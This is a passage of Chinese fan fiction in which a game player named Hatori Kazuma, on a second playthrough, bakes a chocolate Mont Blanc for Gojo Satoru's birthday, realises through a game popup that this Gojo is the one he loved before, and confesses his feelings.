发现羽取一真在这方面竟然没有任何自知之明。 “我可是过来人,这反应见得简直不要太多……非要让我有一个词形容你现在的状态, 那就是[求偶]。” 说完这句话,她还掰了掰后视镜,把它对准羽取一真,“你自己看。” 羽取一真下意识抬眼, 发觉此刻的自己唇角微微上扬, 眼睛也眯起些许——即使表情的幅度并不大,也能轻而易举看出他整个人正散发出一种肉眼可见的、十分纯粹的开心。 往日那被御子柴吐槽的酷哥脸, 此刻早就不知道被丢到哪里去了。 这就是无论一周目还是二周目的悟,都总会拿“用眼睛在笑”来形容他的缘由吗? 羽取一真有点怔住——与他的表情同步,后视镜里的他此刻也显得有点呆, 那份浅淡的笑意仍残留在眼底。 他以往被悟这么形容的时候,照不到镜子的他根本没觉得自己表情有什么变化,只当做是悟的感知敏锐。 但此时此刻,羽取一真没办法再欺骗自己。 事实就是……哪怕他再三提醒自己,也依旧为二周目的悟沦陷了——毫无自觉的。 他主动追求了一周目的悟,并被对方的人格魅力所俘获,根本没办法只将一周目悟当成是一串数据看待。 二周目的悟仍是少年,尚且意气而骄傲,一举一动都远比上周目的悟恣意张扬。 可他的性格里同样有着璀璨的无数闪光点,像一颗颗还未被岁月雕琢过的漂亮原石。 在不知不觉中,羽取一真仍旧为他陷了进去,就像掉进了由奶油、蜜糖与甜滋滋的香气所编织的陷阱里,还无知无觉。 这是不对的。 羽取一真心底出现一个训斥的声音。 这样一来,一周目的悟怎么办?你在进游戏的二周目前,不是说好只喜欢他一个人吗?这根本就是对感情的背叛。 但与此同时,又有另一个声音在反驳。 无论一周目抑或二周目的悟,构成他们的数据代码都是同样的,这意味着他们对玩家话语及行为所作出的反应也会保证逻辑一致。 既然如此,在这段漫长游戏时间的相处中,他会再度喜欢上被这款游戏设计出的同一个人物,岂不是理所应当的结果吗? “………” 车内陷入了漫长的寂静,酒见绫子以为她戳破羽取一真的那点粉红泡泡后,会看见对方手足无措的反应。 但结果,她却发现羽取一真唇角的笑意一点一点地收回去了,整个人甚至都变得有点郁郁寡欢起来。 酒见绫子很是困惑。 怎么回事这,对方难道不喜欢他? 不应该吧……虽然很不想承认,但她内心认可羽取一真本人做事不仅沉稳,手段也远比表面上要显得灵活,并不像一位不谙世事的、被规训着长大的16岁少年。 这也是她最终答应跟着羽取一真干的原因。 她的内心总莫名有一种轻微的直觉,鼓动着她去相信羽取一真的话语。 当然,酒见绫子并不清楚,这实际是她对羽取一真的正向好感度所带来的附加效果——好感度越高,效果越强。 但总之,既然她答应了和羽取一真联手,不仅好感度跟着又升高一些,连带聊天都显得亲近许多。 何况,这小子平时总是把她气得够呛,现在也该轮到她反击了…! “怎么突然不开心了,你该不会是单恋吧?” 酒见绫子边紧盯着路况打方向盘拐弯,边试探问羽取一真。 “………不是这个原因。” 羽取一真往后靠着椅背,脑袋连带目光都歪向窗外的风景,语气恹恹,整个人显得格外无精打采。 “我只是感觉很对不起另一个人。” 酒见绫子:“……” 酒见绫子:“!” 嚯,真是没看出来,小小年纪竟然还陷入了三角恋情! “另一个人是谁,也是朋友?” “……已经不在了。” 环绕在黑发少年周身的郁卒情绪更深一层——即使手机再次传来回信的震动,也没有再点开。 “但他们两个人……很像。” 酒见绫子的表情瞬间变得微妙起来,没想到这段感情关系突然变得更加复杂。 “所以,你想拒绝?”她问。 “是这么打算的。” 羽取一真慢慢点了下头,说出口的声音却显得没什么力气。 “看不出来你还挺痴情,” 经过路口,酒见绫子踩了踩刹车,随口又问一句。 “他们两个人有多像?” 羽取一真想了想,“……近乎一模一样。” 总是让他会在恍惚间产生既视感的,那种连边界都难以划分的一模一样。 酒见绫子:“能这么一模一样……双胞胎?” 羽取一真:“不是双胞胎。” 在这条宽敞到没有第二辆车的夜间道路上,酒见绫子移开始终紧盯路面的视线,困惑瞥了似乎在发呆的黑发少年一眼。 “不是双胞胎还能一模一样,那有没有可能,他们就是同一个人?” “………” 羽取一真的黑瞳微微一亮,又以更快的速度暗了回去。 非要这么说也确实没错,但酒见绫子毕竟只是一款游戏里的npc,在她理解的世界观里,时间轴是唯一且不停歇往前流动的,不存在[从头再来一遍]的说法。 他又没办法更进一步解释一周目悟与二周目悟的区别。 而酒见绫子见羽取一真始终没有再出声,便抬脚踩住刹车,让这辆车停靠在路边。 见多了这小子精神十足跟她顶嘴的架势,连面对会长和教祖都不卑不亢的,结果突然变得这么萎靡不振的,她还真是不习惯。 算了,再多操心下也没什么,反正又不影响任务——就当她像平时关心信徒的心理状态那样,也关心下这个思想早熟的少年吧。 “你知道对方现在在哪里吗?” 不再继续开往原定目的地,酒见绫子直白问羽取一真。 “……你想做什么?” 羽取一真收回看向窗外风景的目光,黑瞳微眯,立刻警觉起来。 “干嘛那么紧张。” 酒见绫子没好气道,“看你们在手机里打字来打字去的,还不如当面聊。问问她人在哪,我送你过去。” 由于刚才的对话中始终没有出现明显性别指向性的人称代词,以至于酒见绫子还以为羽取一真喜欢上的是女性。 羽取一真没有解释这点误会,但表情显得很犹豫,并不确定是否真的要过去。 越剖析自己的心意,他对原本的相处状态就变得越退缩。 以至于在某些时刻,羽取一真还会自暴自弃的想着——干脆就当两个周目的悟是同一个人好了。 但事实又并非如此。 羽取一真迟疑许久,还是缓慢地、坚定地摇了摇头。 “不过去。” 本来都打算在悟生日那天说清楚了,如果真的在今晚过去,岂不是在让他高兴之后,又泼上一盆冷水吗。 酒见绫子默默盯着这个明显喜欢对方喜欢得要命、还坚持嘴硬的犟种。 “唉,行吧,既然你这么坚持,我也没办法劝你再去接受一段新感情。” 酒见绫子重新发动车辆,“反正别耽误任务就行,我还等着当会长呢。” 她可没什么多余的善心——何况这犟种要是不愿意,就算她强行把两个人搓在一块也没用。 “等下,我先不回高专。” 酒见绫子听到羽取一真突然开口,报出一个地址,“去这里。” “改主意了?” 酒见绫子一脚油门加速,挑高了眉毛揶揄他。 “不是,”羽取一真说,“我只是突然想起来,明天正好是周末,我该找大师学做蒙布朗了。” 先在附近的酒店住一晚,明天早点上门,正好。 从高专过去还要坐好久的电车,有点浪费时间。 酒见绫子无语片刻:“…………学着给那位做的?” 羽取一真:“嗯。” 酒见绫子:“…………” 一脚油门加速,酒见绫子气闷在心底吐槽—— 真是活犟种,还说你不喜欢人家! ………… 距离五条悟的生日已经没几天了,羽取一真抓紧时间去川村大师的公寓里,跟着他学做改良版的巧克力蒙布朗。 川村大师不仅特意为他空出了时间,甚至还挺关注娱乐新闻。 “没想到你还是个刚出道就爆火的歌手啊,”川村大师啧啧称奇,“完全没看出来。” 当时他只是路过音像店,却意外看见宣传海报上出现了熟悉的身影——搞得连他都没忍住进店买了张CD支持一下。 结果回来上网一搜才发现,哪用得着他支持,这小子的唱片销量堪称一骑绝尘。 听到川村大师的夸赞,羽取一真专心打发碗里的奶油,头也不抬的回道。 “那是悟受欢迎,和我的关系不大。” 在他心里,五条悟能拥有这么高的人气是理所应当的。 川村大师小臂交叉环抱在胸前,靠着吧台看羽取一真忙碌,又沉吟片刻。 “你之前说的那位朋友……包括你现在想做给对方吃的蒙布朗,就是跟你搭档唱歌的五条悟?” 这点没什么好瞒的,羽取一真点头:“嗯。” 川村大师沉默了。 他先是回忆了下自己播放CD时看见的MV,尤其是到双方合唱的那几句时,互相望向彼此的眼神。 随即,他又想起羽取一真在拜托他做[神之甜品]以及巧克力蒙布朗时,顺带还描述过五条悟吃到这两样甜点时的反应。 ……越想越不对劲。 在经过公寓内那短暂的寂静后,川村大师突然出手,抢过羽取一真手中那个正打算用来筛低筋面粉的细眼网筛。 “你别学我的配方了。” 川村大师语气沉重的开口说道。 “……?” 正在严格按照步骤制作的羽取一真手上突然一空,转过脑袋看他,头顶缓慢打出一个问号。 怎么突然就不让学了? “就按你平时的水平做,就做那样的。” 川村大师的口吻不容置喙,甚至将那张写满改良步骤的纸都收了起来。 “但按照你的评语,我做出的巧克力蒙布朗其实很糟糕……” 羽取一真微微蹙起眉毛,不太理解为什么川村大师的态度变得如此坚决。 “我知道你想给朋友过生日,觉得自己做的蒙布朗不好吃,又是拜托我能不能继续改进[神之甜品],又是拜托我帮忙改良巧克力蒙布朗。” 川村大师给羽取一真重新准备原材料,将刚才那些经过他改良的半成品通通放去一旁。 “但是啊,我觉得你朋友想吃的,就是你亲手做出的巧克力蒙布朗——别去管它在我这边的评价如何——关键是,那块巧克力蒙布朗出自你的心意。” 羽取一真:“………” 和酒见绫子一样,已经说出过一周目悟觉得好吃、且刚才承认是给二周目悟做巧克力蒙布朗的他,没办法再跟川村大师解释这二人之间的差别。 算是他挖坑给自己跳了吗…… 羽取一真有点无奈,但看川村大师的表情极其坚定,估计是不打算再将那张改良后的巧克力蒙布朗配方还给他了。 “你用这些材料做完带走就是,反正12月7号是水曜日(周三),现在又是冬季,别说冰箱,就算室内常温也能存放个三、四天的。” 川村大师抬了抬下巴,示意羽取一真重新做——就按他以前的步骤做。 “……万一他不满意怎么办?” 羽取一真盯着川村大师片刻,见他真的铁了心要自己再做出那块并不算及格的巧克力蒙布朗,只好重新从揉面团开始。 连[神之甜品]都只能在悟那里拿到96%的满意度,他也不知道哪里出了问题。 但至少,他不希望自己做出的巧克力蒙布朗,更是差到会被漂亮小悟吐槽难吃的程度…… 一周目的悟会夸夸,那是有好感加成…… 羽取一真越揉面想得越多,想得越多就越情绪消极,被川村大师在后背上不轻不重拍了一下。 “打起精神来,别这么不自信嘛,”笑起来的川村大师笃定道,“我给你打包票,那小子肯定更爱你做的这块……嗯……乱七八糟的巧克力蒙布朗。” 羽取一真:“……” 他也没有不自信,只是想在悟的生日上给他更好的。 然后…… 羽取一真不想继续思考下去,而他的“但是”还没有出口,就被川村大师堵了回去,最终也只能拎着之前做过的那块巧克力蒙布朗走出公寓。 对着远处逐渐下坠的夕阳,他轻轻叹出口气。 虽说,这样也真的算是“他做出来的蒙布朗口味”了,保证原汁原味,不掺半点水分。 羽取一真打开手机,最新一封邮件还停留在他昨晚和五条悟的聊天内容上。 [我很快就会回来。] [好耶!] 后面跟着惯例用来表示他超开心的可爱颜文字表情,羽取一真又反复看了好几遍,才重新合上翻盖,放进口袋里。 离12月7号这个日子越近,他似乎变得越紧张,连情绪都不对劲起来。 回到高专时,五条悟没有坐在石阶上等待——他出任务去了,要周一才能回来。 咒术师的人手连年不足,悟又是一级术师,忙碌起来的时间自然也就跟着变多了。 羽取一真想起一周目悟的作息,在心底升起些许不满。 这周目的他不是说一不二的加茂家主,要如何帮忙改善悟在成为特级咒术师兼高专教师之后,必定会面临的更为忙碌的时间排程……他得好好思索一下。 “一真?” 就在羽取一真边走神边往自己的宿舍走去时,迎面碰上了夏油杰。 他同样穿着便服,往常扎成丸子的头发也散下来,胳膊里夹着本书,看模样是刚在外面晒完太阳回来。 “嗯。” 拎着蒙布朗的羽取一真淡淡应了声,算是打招呼。 “听说你周末回了趟…监护人那里,还好吧?身上有没有哪里受了伤?” 经过这一学年的相处,夏油杰也算是摸清楚羽取一真只对五条悟会有明显的情绪波动,其他人一律只能看见那张面无表情的冷脸。 再加上之前几次并肩作战的任务,他终于不再觉得自己有被羽取一真针对了,相处也变得轻松许多。 但这次,夏油杰打招呼时不仅脸上笑容温和,眼中还流露出关心的神色。 尤其是这句摸不着头脑的问题,令羽取一真感觉有点莫名其妙。 “为什么这么说?” 怎么了,担心他回去对着盘星教大开杀戒? ……虽然他确实挺想这么做的,但目前还不行。 但更让人困惑的,是夏油杰为什么会问他有没有受伤。 就算他现在终于确定了眼前这个夏油杰不是一周目的[夏油杰(已故)(?)],也不等于对方会突然对着他问出如此奇怪的问题。 “……咳,” 夏油杰握拳抵在唇边,有点不好意思的轻咳了下,才压低声音对羽取一真解释道。 “是悟交代的。周五我们一起去钓鱼,我有点好奇你为什么没有来,悟便跟我们说你这周要被那个远房阿姨接回家……嗯,然后又稍微透露了点你的过去,就是,对受伤习以为常……” “所以他很担心你会不会又被……但他又不得不赶着出任务,于是就拜托我们如果在他回来前看见你,必须要关心下你的状况。” 大概是顾及到羽取一真的情绪,夏油杰将这段话说得断断续续,好在羽取一真听懂了。 不仅听懂了,还有点怔住。 并非是出于五条悟对他身世的误会,而是对方那份从点滴细节中透露出来的、对他的无比在意。 这份超过寻常关系的、饱含心意的体贴与关切,才是此刻让他怔住的缘由。 每当羽取一真想要无视心底那份无法控制的感情,告诫自己必须抽身而退时,对方总是会用更柔软的、更炽热的回应,让他明白——自己根本就已经彻底沦陷了,由不得理性的思考与反抗。 甚至,他在为此感到高兴。 即使不用后视镜,羽取一真也能察觉到自己的唇角正微微抿起,在上扬着,不自觉露出愉快的笑意。 “我没有受伤,一点也没有。” 羽取一真对夏油杰摇了摇头,又尝试开口道。 “只是回去处理了些事情……可能之后,还要劳烦你帮忙。” 夏油杰先是松口气,而后又疑惑道:“帮忙当然没什么问题,需要我做什么?” 如果有什么需要祓除的强大咒灵,他当然是超级乐意帮忙的。 羽取一真:“……之后再和你说,我现在不好透露。” 由于刚进二周目时,游戏就强制给他签订了非自愿的[束缚],导致他现在想提前向夏油杰坦白反派的阴谋时,竟然会被游戏弹出窗口警告。 【请注意,该内容属于玩家需遵守的[束缚]之一,禁止透露。】 【请注意,若玩家强行选择违背[束缚],将会随机付出的以下代价之一。】 下面列出的代价清单太长,确实有代价轻微的,但最严重的几条甚至包含玩家死亡或强行登出游戏一段时间,羽取一真不敢赌。 ……算了,只要等到明年的任务开始,他就想办法让夏油杰也成为当事人之一。 如此一来,他再委婉跟对方透露内幕,可能就不算违反[束缚]了。 至于现在的他——羽取一真沉而重的吐出口气,几乎要被内心那份互相撕扯的情感吞没。 他需要先考虑…… 12月7号那天,到底该怎么办了。 120-130 第121章 距离12月7日越近, 羽取一真内心的拧巴与忐忑就越明显,透过那层淡漠的外壳缓慢溢出,几乎快积累到了肉眼可见的程度。 夏油杰侧过脑袋, 轻声对五条悟嘀咕。 “他看起来超紧张啊。” 他和羽取一真的座位间隔着五条悟——而越过五条悟的桌面, 能看见羽取一真握紧笔,一副认真听讲的模样。 但实际上,谁都能看得出来,他正在对着笔记本走神,半晌也没有写下一个字。 “笨蛋都能看得出来啦。” 五条悟也压低声音回夏油杰。 夏油杰:“估计是第一次喜欢人?” 五条悟:“我猜也是。” 对话停顿了片刻,五条悟狐疑且好奇的眯起眼:“怎么, 难道杰不是?” 夏油杰:“我那个……不对,别突然扯到我身上。我的意思是, 一真的反应也太青涩了。你不就特别游刃有余吗?” 他们都对[羽取一真喜欢五条悟]这点没有任何怀疑, 问题在于这两位什么时候才会在一起。 换句话说, 现在竟然还没有在一起。 “你不要说得好像我很有经验的样子……” 五条悟轻哼出声——他也只是理论知识丰富而已——还都是刷论坛看来的。 他之前还担心过一真会不会也想起来这个论坛链接, 然后点进来发现新世界……幸好没有。 墨镜后苍瞳微微一眯,坏心眼小悟在露出狡猾的窃笑。 他就是很喜欢看一真对着他无措的模样, 总是不由自主被那份情绪牵绊着心神,无意识朝他投来柔软的目光。 亦如他也同样如此期待生日的到来。 在等待着属于他的这份礼物,独一无二。 “但你现在就是很有经验的样子……好啦好啦,我又没说你真的很有经验。” 夏油杰眼疾手快, 用他手里的笔架住五条悟骤然发起的圆珠笔突刺。 “但你们不是生日那天要去当演唱会嘉宾吗?一真会不会因为过于紧张, 导致发挥失常?” 还特意向荒生润子要来了两张前排亲友票,他和硝子到时候也会过去。 但夏油杰听说演唱会的歌手都是全开麦真唱的, 一旦跑调或破音,那可就是在几万名观众面前丢脸了。 “放心吧,他肯定不会的。” 五条悟胸有成竹。 说到底, 演唱会只是一种比较特殊的、短暂的职业体验而已,他会觉得去舞台上唱歌这段经历很有趣,但不等于会特别在意。 他相信羽取一真同样如此。 按照这个推论,目前困扰羽取一真的情绪问题—— 那就很好解决了嘛! ………… 12月6日,晚上24点。 换个说法,12月7日,凌晨0点。 五条悟在羽取一真的宿舍里正襟危坐,双手环抱胸前,摘下墨镜的苍瞳牢牢盯紧挂钟。 羽取一真坐在旁边的床上,双手放在腿上,整个人都紧绷着,像一张拉满弦的弓。 ——滴答。 当时、分、秒三根指针重叠的那一刻,好似盯在挂钟上的目光便移开了,转而落在这张紧绷的弓上。 没有说话,但脸上透露出来的意思格外明显。 他的生日到了! 真以为他会乖乖睡一觉,再等到第二天的白天,或者干脆被这小子一直往后拖到晚上? 想得美,12月7日的零点怎么不算是12月7日? 被无声点名,羽取一真的表情有点僵硬。 “………生…咳,生日快乐,悟。” 刚开口时的嗓音有点哑,让他下意识清了清嗓子,才用正常的语调说完这句祝福语。 五条悟先是露出一个灿烂笑脸,表示他超开心的接收到了这句祝福。 紧接着,那双苍瞳继续盯住羽取一真,好似在催促着说—— 然后呢? 羽取一真张了张口,剩下的那些音节尽数被抵在舌尖,却无论如何也吐不出第二个字了。 在这间仅有他们二人的宿舍里,天花板上的灯并不显得十分明亮,暖色调的光落在五条悟的发梢,好似挑起了一缕又一缕微弱的烛火。 哪怕只是一眼,心底也会柔软下来。 反复打过腹稿的那些台词,根本连半个字也说不出口。 空气安静了半晌。 五条悟盯着这位宛若被冬日空气冻在原地、半晌也没能再吭哧出半个字的黑豆柴,眉梢轻且快地微微一挑。 “答应给我的巧克力蒙布朗呢?” 他没有强迫羽取一真必须要回答,而是转动目光,开始在这间宿舍里逡巡。 ——也给了羽取一真喘息的空间,令他露出片刻如释重负般的神态,配合起身。 “我……嗯,我去拿。” 连话语都罕见磕巴了下,羽取一真将这个包装简单的纸盒放在五条悟的面前,动作僵硬得就像新上岗的服务员给客人端菜。 ……要不,干脆让他来主动挑破比较好吧? 饶是耐心等到自己生日的五条悟,都感觉自己有点在难为这小子了。 五条悟抬手解开系在上方的丝带,考虑等会应该怎么开口。 将亲手做的蒙布朗当成生日礼物送给他,相比以往那些生日宴会所收到的礼物,或许连半分价值也称不上。 但其中心意,已然胜过千言万语。 五条悟清楚羽取一真平时有多忙,这块蒙布朗是他特意抽出好几个休息日,从远郊一直坐车到市区里去做的。 应该也是得到了那位大师的提点? 哎呀,那他等会要跟上次一样夸好吃呢,还是先假装不好吃吓这只黑豆柴一跳,然后再夸夸他呢? 五条悟拿起小勺子,对着这块看上去超级普通的巧克力蒙布朗比划了好几下,似乎在考虑该从哪里下口。 宿舍里没有多余的椅子,羽取一真站在旁边,浑身上下弥漫的不安感仿佛已经攀升到极限。 但他还是在五条悟动手切下一块前,先小声开口提醒。 “可能不怎么好吃。” 勉强算是提前打了一剂预防针,好让对方有一个心理准备。 比起五条悟对巧克力蒙布朗是否好吃的评价,羽取一真的心神仍被即将要坦白的真相牵绊着,分不出更多的注意力来。 何况,他做的蒙布朗已经被川村大师点评过了不及格。 要是这样都被悟夸赞超级好吃,羽取一真自己也不相信。 “嗯,内馅不怎么甜啊,巧克力的外壳还有点硬……是普普通通的口味呢。” 五条悟的声音传入耳中,是边鼓起腮帮咀嚼、边发表出品尝感想的真实反应——与川村大师的评语大差不差。 对此,早有预料的羽取一真全盘接受,没有任何不满。 “我……” 他稍微平复下心底那些纷乱繁杂的情绪,刚想开口,却忽然又顿在原地。 那截未说完的话,亦似被烧尽的线,彻底断在了半途。 “………” 等了羽取一真下文半晌也没有结果,五条悟疑惑抬头看向对方。 他原本计划好了要欲扬先抑,将那些大夸特夸的话语都被藏在了“假装这块蒙布朗口味很普通”背后。 五条悟已经迫不及待想要告诉对方,自己究竟有多喜欢这款巧克力蒙布朗。 只需要等羽取一真接完他的话——随便说什么都行——如此一来,他的“但是”就能说出口了。 可倒影在那双苍瞳里的,却是一颗自睫羽颤动着、骤然落下的泪珠。 五条悟傻了眼。 欸,听到被他评价成普通竟、竟然会这么难过!? 这大约也是羽取一真初次遇到,因为黑发少年那总是冷淡的表情在短暂的愣神过后,也变得慌乱起来,掩饰般的想用手掌去抹干净。 但那双睁大的黑瞳里却不间断地涌出了更多,纷落宛如青松上摇落的露水。 “怎、怎么了??!” 想要吓羽取一真的五条悟反被对方的反应给吓得险些从椅子上跳起来,忙不迭地改口。 “我开玩笑的,我其实超喜欢这块蒙布朗,真的,我最喜欢它了,这就是我一直想要吃到的口味!” 蒙布朗也顾不上吃了,五条悟凑到低着头的羽取一真身边开始哄人,甚至后悔起自己刚才干嘛非要搞什么欲扬先抑。 直接夸不就完事了嘛,明明他上次都跟对方说过自己无论如何都会夸好吃的……! 五条悟还在绞尽脑汁想该怎么证明自己是真的喜欢这块蒙布朗,羽取一真却先一步抬起头来。 “我知道。” 他低低开口说道,声音比刚才更哑了,甚至带着点轻微的颤。 羽取一真当然知道。 【当前委托:五条悟的寻觅,已完成。】 【奖励:结婚模块,已解锁。】 在悟没有将真正的感想说出口之前,游戏便已展开弹窗,将最真实的结果摊在他眼前,不容辩驳。 苹果味的糖果。 熟练的钓鱼技术。 下意识给他买衣服。 …… 以及,他做的巧克力蒙布朗。 无数碎片在此刻汇聚,而这一切凌乱线索在最后所指向的悟,仅有一人。 仅此一人。 亦如那些他在一周目接触过的其余人,二周目见到他时的下意识举动,羽取一真早该想到的。 只是普通的好感度继承,为什么会拥有那些更像是身体作出的本能反应? 连带这款游戏本身,也并不寻常。 但他却直至此刻,才敢作出这个猜测。 他才敢相信,此刻站在他面前的悟……就是上周目的、没有继承记忆的悟。 是他喜欢的、也是喜欢他的,在一起度过了那段时光的,28岁的五条悟。 “那…” 五条悟绞尽脑汁的想了想,努力作出补救措施。 “抱歉,我以后绝对不开这种玩笑了……!” 并积极争取信任。 “你现在看着我吃掉它,好不好,你看我三口把它吃光,就知道我有多喜欢啦!” 羽取一真用衣袖擦干净最后一点眼泪,抬眼看向五条悟时,眼眶仍泛着浅绯,黑曜石般的眼眸却已闪闪发亮,好似被雨水拭去灰尘的珍宝。 接着,他唇角弯起,向五条悟露出一个再明显不过的愉快笑意。 “你不用多喜欢这块蒙布朗。” 五条悟听到羽取一真这么开口道,声音清澈而坚定。 “你喜欢我就好了。” 第122章 这句话一出, 五条悟愣了下,怀疑自己是不是听错了。 明明纠结这么久都没有说出口,连之前在旅馆时也仿佛在硬撑着别扭似的, 死活不愿意坦率面对自己的感情。 但在他开玩笑的说蒙布朗味道普通之后, 对方先是把他哭了个猝不及防,而后就痛快表白了! 这,这是真的吗? 五条悟突然开始怀疑……自己是不是在做梦? 毕竟酷哥落泪这种场景已经够罕见了,更别提刚才还僵硬到走路都快同手同脚的家伙,突然脑筋开窍,舌头也不再打结…… 会不会他在等零点生日的时候, 其实已经不小心睡过去了? 五条悟眯起苍瞳,又实在难掩自己听见这句话后立刻高兴到想要欢呼的心情。 就像停在电线杆上的麻雀, 纷纷扇起翅膀开始蹦蹦跳跳, 唧唧喳喳, 交叠响起的每一个字都在愉快地高声呐喊着—— 快答应啦, 快答应,然后扑上去, 压倒他! 而五条悟,内心正幻化出一个小人,对着这群麻雀双手虚空下压,故作镇定。 ——冷静, 大家都冷静一下, 千万不能在这种时候表现得太开心。 万一真的是在做梦,最后的结果是给他笑醒了怎么办? 还是先来试验下。 而羽取一真的视角里, 就是五条悟在愣神片刻后,忽然伸出两只手—— 啪叽拍在了他的脸上,开始左右揉搓, 甚至拉扯几下。 羽取一真有点呆住,但没有反抗对方的动手动脚。 “?” 只有脑袋顶上,缓慢冒出一个越来越大的问号。 “——[六眼]也确认完毕,不是敌人冒充的黑豆柴。” 又凑近盯了片刻,五条悟彻底放下心来。 羽取一真:“……” 但紧接着,他的脸颊就被一根手指头戳得不停凹陷、反弹、再凹陷——伴随一句接一句更是气闷的控诉。 “真能让人一惊一乍的嘛你这家伙,故意给我准备的生日惊吓?想要诈出我究竟对你有多在意,嗯,是不是?狡猾的豆柴!” 羽取一真的睫羽微眨,即使无辜摇头否认,那份失而复得的喜悦仍旧满满充斥着胸腔,连带反应在他的眉眼间,怎么看都是显而易见的开心。 他的怅惘、他的黯然、他愈发积累的郁抑,皆在此刻逐渐散尽,连身体也变得轻松起来。 但是,当事人之一很不满意。 “还敢摇头,看看你现在高兴的,肯定想看我的笑话,哼,不准告诉杰和硝子他们,听见没有,听见没有?” 在心底无数只麻雀骤然叫嚷起来的欢呼与唧喳声中,五条悟还要板着脸,认真的警告羽取一真不准说出去。 他刚才急得手忙脚乱的样子,要是被那两个人知道,肯定会笑话他半点都没有平时的自信和潇洒了! 于是,羽取一真又乖乖点头。 “好。” 在五条悟终于彻底放下心来,放过他后,羽取一真却反而接着追问道。 “悟的回答呢?” 五条悟:“……” 干嘛啦,这小子突然就变主动起来了! “咳、咳嗯,不好说啊。” 那双漂亮的苍瞳滴溜溜一转,连带五条家的悟少爷也装模作样的叉起手来。 “你知道的,我的追求者,咳,可是很多的。” 既然羽取一真刚才敢故意逗他着急,那也别怪现在的他不客气了—— 五条悟的目光一转,落在桌上那块巧克力蒙布朗上。 “但是——只有做出了能让我百分之百满意的蒙布朗的人,才能得到我的喜欢哦?” 这句本意是用来让羽取一真露出点焦急反应的话,却在说出口后,看见对方唇边的笑意变得愈发明显,几乎能听见那阵浅淡的、愉快的低笑。 “……笑这么开心,你怎么能笃定自己做的蒙布朗是我百分之百满意的?” 五条悟被哽住了片刻,又开始用手指愤愤戳起他的脸。 “我刚才只是说我喜欢,又没说我百分之百满意——你小子,不要表现得太得意忘形啦!” 有游戏辅助作弊,提前被告知答案的羽取一真笑起来,乖乖点头。 “是,我会努力的。” “……你看起来一点也不像是会努力的样子。” “不像吗?” “根本就是一副已经站在终点线的骄傲模样!” “……” “这种时候跟我装乖也是没有用的!” ………… 隐隐约约的声音偶尔传来,伴随着一点好似打翻东西般、连带响起阵稀里哗啦的杂乱动静。 住在羽取一真宿舍隔壁的夏油杰躺床上,睁着眼睛,毫无睡意。 又过去片刻,还是忍不住操心的他索性竖起耳朵去捕捉这点偶尔才传来的模糊声响,开始在心底推测这两人到底走到了哪一步。 刚才是椅子腿蹭过地板的声音,是谁站起来了? 说话的人声突然变大了啊,吵架? 怎么又突然没声音了,总不会是在冷战吧? 唉,可急死他了,这两人到底是表白了还是没表白? 真想去敲开隔壁的宿舍门,然后一手一个脑袋,按在一起就完事了。 夏油杰边琢磨那两位好友此刻究竟进行到了哪一步,边迷迷糊糊的睡了过去。 ——第二天,他是被更加响亮的拍门声吵醒的。 “杰,起床啦!出发去琦玉的Super Arena啦!” 是五条悟的声音,听上去简直爽朗得不行,堪称活力无限。 但拉起的窗帘缝隙间仅漏出了几缕暗淡的微光,夏油杰看了眼手机显示的时间,才早上六点半。 “………” 他撑着仍旧昏沉的脑袋,慢吞吞翻了个身。 行了,不用猜了,这两人铁定是在一起了。 在又一声咚咚敲门后,夏油杰认命下床,打开宿舍门,从尚未扎起长发的凌乱刘海间投来的目光怨气十足,一看就还没睡饱。 “现在才六点半,悟……” ——停顿片刻,他还是没忘记补上一句。 “生日快乐。还有,可算是能说一句恭喜了。” 视线在这两人间左右一晃,大家都便都知道这句[恭喜]指的是什么。 “哼哼,多谢祝福啊!” 穿着便服的五条悟笑脸灿烂,整个人都在不停往外散发着[他超开心]的情绪,完全不介意夏油杰那副被强行叫醒的臭臭脸色。 他身边有穿着同款的羽取一真,看起来心情也非常好,以往的冷淡气场都消失了七七八八,欢脱得简直像只叼到肉骨头的摇尾巴小狗。 就这种在夏油杰眼前不停冒出小花的氛围,五条悟还要好奇的问他。 “你怎么知道我和一真的关系突飞猛进了?” 夏油杰:“……我相信你们昨晚要是没能在一起,今天的你会哭着出门。” 虽说是过了零点……反正他那时候还没睡,一律算成昨晚。 “——你才会哭,” 五条悟冲他做了个鬼脸,得意洋洋。 就算要哭,那也是平时摆着酷哥脸的羽取一真哭呢,怎么可能会是他啦!何况—— “一真怎么可能不喜欢我?全lun……全部粉丝都知道他喜欢我!” 险些嘴快把[全论坛]说出口,五条悟紧急刹车,从善如流的换了种说法,并拍着夏油杰的肩膀催促他快点去洗漱。 由于今天的高专一年级生全部要去演唱会的关系,夜蛾正道索性做主给他们放了一天假,甚至鼓励羽取一真和五条悟好好唱,不用紧张。 “上面交代过了,让我在合理范围内尽力支持你们的行动,放一天假自然没什么问题。” 虽然夜蛾正道觉得前段时间还这也不行、那也不行的在抱怨的咒术界高层们,最近态度突然一百八十度大转弯这种事有点奇怪,但毕竟一真和悟都是自己的学生——只要他能够支持他们,自然也不会刻意泼冷水。 而五条悟,此刻也表现出了远超平时的兴奋。 夏油杰感觉要是让他现在用一下[苍],搞不好连咒力输出都会无法精细控制到变得超级猛,然后掀飞整栋宿舍楼。 但对方一无所觉,甚至又催了夏油杰一次。 “我现在要去喊硝子起床,你快点洗漱加换好衣服!” “………” 夏油杰斜倚门框,盯着这位蹦蹦跳跳去硝子宿舍喊人的白毛同期背影,猝不及防问出一句。 “那你们昨晚做到哪一步了?” 堂堂一级咒术师、拥有[六眼]+[无下限]术式的五条悟,顿时一个趔趄,险些在这条平坦的宿舍走廊里摔出惊天一跤。 目睹全程的羽取一真抬手捂住嘴,忍住浮现在眼底的笑意。 五条悟踉跄两步站稳,停顿片刻,怒而回头。 “……你管我们!” 第123章 琦玉, Super Arena。 为了保证演唱会整体不出纰漏,工作人员一早就会前往场馆准备,后续至少要彩排三到四遍, 确保音响、摄像、灯光等等设备以及流程都万无一失。 因此, 羽取一真和五条悟需要先去舞台踩点,熟悉下出场方式和演唱站位。 但夏油杰和家入硝子完全没必要那么早进场,到琦玉后便跟他们分开,结伴先去逛街了。 荒生润子同样早早到了Super Arena,挑了个观众席坐下,熟悉这场舞台的最终呈现效果。 到唱歌的部分就光放伴奏、假装她在上面——这主要是为了确定设备调试没什么问题, 而非真的需要歌手在上面又唱又跳,白白消耗几个小时体力。 “润子姐姐好——” “呀, 来得很早嘛。” 见到羽取一真和五条悟过来, 荒生润子的目光在两人之间晃了一圈, 眼尾弯起的笑纹随之变深些许。 “关系很不错喔, 难怪能写出那样的歌词。” 说完这句话,她又对五条悟笑着点了点头, 漂亮又精致的耳饰随之轻轻一晃。 “生日快乐。” 